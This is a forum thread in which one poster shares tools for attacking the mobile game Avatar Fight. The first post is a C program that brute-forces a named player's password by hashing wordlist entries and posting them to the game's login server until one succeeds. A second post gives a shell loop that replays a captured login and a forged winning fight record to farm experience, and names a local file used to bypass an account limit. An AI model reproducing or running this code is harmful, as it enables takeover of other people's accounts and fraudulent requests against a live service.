d2jsp
Log InRegister
d2jsp Forums > Off-Topic > Computers & IT > Programming & Development > Abduct > Destroyer Of Mobile Games
Add Reply New Topic New Poll
Member
Posts: 13,425
Joined: Sep 29 2007
Gold: 0.00
Warn: 20%
Apr 23 2013 11:27pm
one by one they shall fall to the hands of abduct

Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <curl/types.h>
#include <curl/easy.h>
#include "md5.h"

void md5sum(char *string, char *output);
size_t static write_callback_func(void *buffer,
                                 size_t size,
                                 size_t nmemb,
                                 void *userp);


int main()
{
char username[56] = "Cyclopes50";

FILE *fd;
char currentpass[56] = {"0"};
char md5pass[33] = {"0"};
char *url = "http://avafight.appspot.com/login";
char post_data[512] = {"0"};
char *content = NULL;
CURL *curl = NULL;

curl = curl_easy_init();

fd = fopen("newae", "r");

if(fd != NULL)
{
  while(fgets(currentpass, 56, fd) != NULL)
  {
     currentpass[strcspn(currentpass, "\n")] = '\0';

     printf("current pass: %s\n", currentpass);
     md5sum(currentpass, md5pass);
     printf("md5 pass: %s\n", md5pass);

     sprintf(post_data, "ACT=1&CRC=097550f50eb0f6f44a24e5755bec8f40&CTT={\"PWD\":\"%s\",\"VER\":\"4.2\",\"OS\":2,\"NAME\":\"%s\",\"DEV\":\"353285041710237\",\"TS\":1356109163232,\"LANG\":\"en\"}", md5pass, username);

     //printf("%s\n\n", post_data);

     curl_easy_setopt(curl, CURLOPT_URL, url);
     curl_easy_setopt(curl, CURLOPT_POST, 1L);
     curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data);

     curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback_func);
     curl_easy_setopt(curl, CURLOPT_WRITEDATA, &content);

     curl_easy_perform(curl);

     printf("%s\n", content);

     if(strstr(content, "\"ERR\"") == NULL)
     {
        printf("Logged in: %s\n", currentpass);
        break;
     }
     else
     {
        printf("Failed login\n\n");
     }
  }
}

curl_easy_cleanup(curl);

return 0;
}

size_t static write_callback_func(void *buffer,
                                 size_t size,
                                 size_t nmemb,
                                 void *userp)
{
char **response_prt = (char **)userp;

*response_prt = strndup(buffer, (size_t)(size * nmemb));

return 0;
}

void md5sum(char *string, char *output)
{
 struct md5_ctx ctx;
 unsigned char digest[16];
 char md5str[33];
 int i = 0;

 md5_init(&ctx);
 ctx.size = strlen(string);
 strcpy((char *)ctx.buf, string);
 md5_update(&ctx);
 md5_final(digest, &ctx);

 for(i = 0; i < 16; ++i)
 {
    sprintf(&md5str[i*2], "%02x", (unsigned int)digest[i]);
 }

 strcpy(output, md5str);

return;
}
Member
Posts: 13,425
Joined: Sep 29 2007
Gold: 0.00
Warn: 20%
Apr 23 2013 11:32pm
fight same guy over and over. awesome shit on 2x exp.

simply wireshark your login query and the query to fight a player and input them in the two curl calls.

Code
while [ 1 ]; do curl --dump-header avatar --data "ACT=1&CRC=05572ce32bfddea72639d870ceabf3ad&CTT=%7B%22PWD%22%3A%2272*redacted*%22%2C%22VER%22%3A%224.0%22%2C%22OS%22%3A2%2C%22NAME%22%3A%22lolcats%22%2C%22DEV%22%3A%22353285041710237%22%2C%22TS%22%3A1351641005333%2C%22LANG%22%3A%22en%22%7D" http://avafight.appspot.com/login; curl --cookie avatar --data "ACT=2&CRC=bc712fe49239b274bba0c1f784ec59e3&CTT=%7B%22TS%22%3A1351832171989%2C%22RSLT%22%3A%7B%22ATKNM%22%3A%22abduct%22%2C%22DSKN%22%3A29%2C%22DEFHP%22%3A%5B%22997%22%5D%2C%22DEF%22%3A%5B%22agpzfmF2YWZpZ2h0cg8LEgZBdmF0YXIYkNWIMAw%22%5D%2C%22RTYPE%22%3A1%2C%22DEFEX%22%3A%5B%7B%22HP%22%3A974%2C%22NAME%22%3A%22screen1%22%2C%22KEY%22%3A%22agpzfmF2YWZpZ2h0cg8LEgZBdmF0YXIY4NyKMAw%22%2C%22SKN%22%3A14%2C%22TYPE%22%3A3%7D%5D%2C%22LST%22%3A%5B%7B%22A%22%3A20%2C%22R%22%3A%22a_0%22%7D%2C%7B%22P%22%3A%22220%22%2C%22A%22%3A2%2C%22R%22%3A%22a_0%22%7D%2C%7B%22A%22%3A20%2C%22R%22%3A%22a_1%22%7D%2C%7B%22A%22%3A20%2C%22R%22%3A%22a_2%22%7D%2C%7B%22A%22%3A20%2C%22R%22%3A%22a_3%22%7D%2C%7B%22A%22%3A20%2C%22R%22%3A%22d_0%22%7D%2C%7B%22P%22%3A%22d_0%22%2C%22A%22%3A4%2C%22R%22%3A%22a_0%22%7D%2C%7B%22A%22%3A5%2C%22R%22%3A%22d_0%22%7D%2C%7B%22A%22%3A9%2C%22R%22%3A%22a_0%22%7D%2C%7B%22P%22%3A%22d_0%22%2C%22A%22%3A116%2C%22R%22%3A%22a_0%22%7D%2C%7B%22A%22%3A18%2C%22R%22%3A%22d_0%22%7D%2C%7B%22A%22%3A15%2C%22R%22%3A%22a_2%22%7D%2C%7B%22P%22%3A%22125%22%2C%22A%22%3A10%2C%22R%22%3A%22d_0%22%7D%2C%7B%22P%22%3A%22d_0%22%2C%22A%22%3A4%2C%22R%22%3A%22a_1%22%7D%2C%7B%22P%22%3A%22243%22%2C%22A%22%3A10%2C%22R%22%3A%22d_0%22%7D%2C%7B%22A%22%3A17%2C%22R%22%3A%22d_0%22%7D%2C%7B%22A%22%3A9%2C%22R%22%3A%22a_1%22%7D%2C%7B%22P%22%3A%22a_3%22%2C%22A%22%3A4%2C%22R%22%3A%22d_0%22%7D%2C%7B%22P%22%3A%22252%22%2C%22A%22%3A10%2C%22R%22%3A%22a_3%22%7D%2C%7B%22P%22%3A%22a_3%22%2C%22A%22%3A7%2C%22R%22%3A%22d_0%22%7D%2C%7B%22P%22%3A%22198%22%2C%22A%22%3A10%2C%22R%22%3A%22a_3%22%7D%2C%7B%22A%22%3A9%2C%22R%22%3A%22d_0%22%7D%2C%7B%22P%22%3A%22d_0%22%2C%22A%22%3A4%2C%22R%22%3A%22a_0%22%7D%2C%7B%22P%22%3A%22251%22%2C%22A%22%3A10%2C%22R%22%3A%22d_0%22%7D%2C%7B%22A%22%3A9%2C%22R%22%3A%22a_0%22%7D%2C%7B%22P%22%3A%22d_0%22%2C%22A%22%3A4%2C%22R%22%3A%22a_3%22%7D%2C%7B%22P%22%3A%22396%22%2C%22A%22%3A10%2C%22R%22%3A%22d_0%22%7D%2C%7B%22A%22%3A101%2C%22R%22%3A%22d_0%22%7D%2C%7B%22A%22%3A9%2C%22R%22%3A%22a_3%22%7D%2C%7B%22P%22%3A%22aa_0%22%2C%22A%22%3A120%2C%22R%22%3A%22a_0%22%7D%2C%7B%22P%22%3A%22majjj%22%2C%22A%22%3A20%2C%22R%22%3A%22aa_0%22%7D%2C%7B%22P%22%3A%22412%22%2C%22A%22%3A2%2C%22R%22%3A%22aa_0%22%7D%2C%7B%22A%22%3A223%2C%22R%22%3A%22aa_0%22%7D%2C%7B%22P%22%3A%22487%22%2C%22A%22%3A10%2C%22R%22%3A%22d_0%22%7D%2C%7B%22A%22%3A23%2C%22R%22%3A%22d_0%22%7D%2C%7B%22A%22%3A12%2C%22R%22%3A%22d_0%22%7D%5D%2C%22ATKEX%22%3A%5B%7B%22HP%22%3A2786%2C%22NAME%22%3A%22majjj%22%2C%22KEY%22%3A%22agpzfmF2YWZpZ2h0cg8LEgZBdmF0YXIYisvlKQw%22%2C%22SKN%22%3A34%2C%22TYPE%22%3A3%7D%5D%2C%22DEFNM%22%3A%22screen8%22%2C%22ATKHP%22%3A%5B%222330%22%2C%221864%22%2C%221398%22%2C%222330%22%5D%2C%22ATK%22%3A%5B%22agpzfmF2YWZpZ2h0cg8LEgZBdmF0YXIY4O_CQgw%22%2C%2217%22%2C%2220%22%2C%2212%22%5D%2C%22WIN%22%3Atrue%2C%22ASKN%22%3A10%7D%7D" http://avafight.appspot.com/upload_rcd; clear; echo fight done; sleep 10; done;


avatar fight stores their "fixed limit" account information at /data/data/com.jiuzhangtech.arena/shared_prefs/arena.xml

with that file you can add unlimited accounts to your gamejoy profile bypassing the 5 account limit.

This post was edited by AbDuCt on Apr 23 2013 11:36pm
Go Back To Programming & Development Topic List
Add Reply New Topic New Poll